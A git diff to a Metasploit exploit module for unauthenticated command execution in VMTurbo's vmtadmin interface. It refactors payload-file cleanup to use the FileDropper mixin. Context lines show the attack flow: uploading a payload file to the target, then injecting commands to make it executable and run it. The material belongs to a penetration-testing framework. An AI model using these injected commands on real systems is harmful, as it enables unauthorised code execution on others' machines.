diff --git a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb index 24ef28cb7c..c9cedf51a8 100644 --- a/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb +++ b/modules/exploits/unix/http/vmturbo_vmtadmin_exec_noauth.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE + include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, @@ -123,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote File.open(file_name, 'wb') { |f| f.write(data) } unix_upload(file_name, data) - @to_delete = file_name + register_file_for_cleanup(file_name) request("/bin/chmod +x #{file_name}") request("#{file_name}&") @@ -213,11 +214,4 @@ class Metasploit3 < Msf::Exploit::Remote unix_stager(@pl) end - - def on_new_session(client) - return unless defined? @to_delete - - print_warning("Deleting #{@to_delete} payload file") - request("/bin/rm #{@to_delete}") - end end